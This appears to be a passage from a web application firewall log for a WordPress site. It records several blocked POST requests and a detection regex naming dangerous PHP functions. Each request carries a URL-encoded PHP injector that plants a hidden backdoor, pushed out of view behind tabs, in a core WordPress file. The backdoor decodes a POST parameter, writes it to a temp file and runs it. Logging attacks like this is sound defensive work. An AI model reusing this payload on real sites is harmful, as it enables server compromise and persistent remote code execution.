29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLxZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3887\n\nbC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/term-description.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%253B%2520%2524a%2520%253D%25200%253B%2520while%2528%2524a%2520%253C%2520strlen%2528%2524ent%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524a%255D%2529%2520%255E%252034%2529%253B%2524a%252B%252B%253B%257D%2520%2524k%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524flag%2520%253D%2520array_shift%2528%2524k%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524itm%2520%253D%2520sprintf%2528%2522%2525s\/.desc%2522%252C%2520%2524flag%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524itm%252C%2520%2524tkn%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524itm%253B%2520unlink%2528%2524itm%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:43:20","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ba:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/term-description.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%253B%2520%2524a%2520%253D%25200%253B%2520while%2528%2524a%2520%253C%2520strlen%2528%2524ent%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524a%255D%2529%2520%255E%252034%2529%253B%2524a%252B%252B%253B%257D%2520%2524k%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524flag%2520%253D%2520array_shift%2528%2524k%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524itm%2520%253D%2520sprintf%2528%2522%2525s\/.desc%2522%252C%2520%2524flag%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524itm%252C%2520%2524tkn%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524itm%253B%2520unlink%2528%2524itm%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDzRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3887\n\nBa=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/term-description.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%253B%2520%2524a%2520%253D%25200%253B%2520while%2528%2524a%2520%253C%2520strlen%2528%2524ent%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524a%255D%2529%2520%255E%252034%2529%253B%2524a%252B%252B%253B%257D%2520%2524k%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524flag%2520%253D%2520array_shift%2528%2524k%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524itm%2520%253D%2520sprintf%2528%2522%2525s\/.desc%2522%252C%2520%2524flag%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524itm%252C%2520%2524tkn%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524itm%253B%2520unlink%2528%2524itm%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:43:22","144.76.215.54","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> FR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/term-description.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%253B%2520%2524a%2520%253D%25200%253B%2520while%2528%2524a%2520%253C%2520strlen%2528%2524ent%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524a%255D%2529%2520%255E%252034%2529%253B%2524a%252B%252B%253B%257D%2520%2524k%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524flag%2520%253D%2520array_shift%2528%2524k%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524itm%2520%253D%2520sprintf%2528%2522%2525s\/.desc%2522%252C%2520%2524flag%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524itm%252C%2520%2524tkn%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524itm%253B%2520unlink%2528%2524itm%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEyVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3887\n\nFR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/term-description.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%253B%2520%2524a%2520%253D%25200%253B%2520while%2528%2524a%2520%253C%2520strlen%2528%2524ent%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524a%255D%2529%2520%255E%252034%2529%253B%2524a%252B%252B%253B%257D%2520%2524k%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524flag%2520%253D%2520array_shift%2528%2524k%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524itm%2520%253D%2520sprintf%2528%2522%2525s\/.desc%2522%252C%2520%2524flag%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524itm%252C%2520%2524tkn%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524itm%253B%2520unlink%2528%2524itm%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:43:25","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/term-description.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%253B%2520%2524a%2520%253D%25200%253B%2520while%2528%2524a%2520%253C%2520strlen%2528%2524ent%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524a%255D%2529%2520%255E%252034%2529%253B%2524a%252B%252B%253B%257D%2520%2524k%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524flag%2520%253D%2520array_shift%2528%2524k%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524itm%2520%253D%2520sprintf%2528%2522%2525s\/.desc%2522%252C%2520%2524flag%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524itm%252C%2520%2524tkn%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524itm%253B%2520unlink%2528%2524itm%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-dest:document\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\ncontent-length:3910\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/term-description.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%253B%2520%2524a%2520%253D%25200%253B%2520while%2528%2524a%2520%253C%2520strlen%2528%2524ent%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524a%255D%2529%2520%255E%252034%2529%253B%2524a%252B%252B%253B%257D%2520%2524k%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%25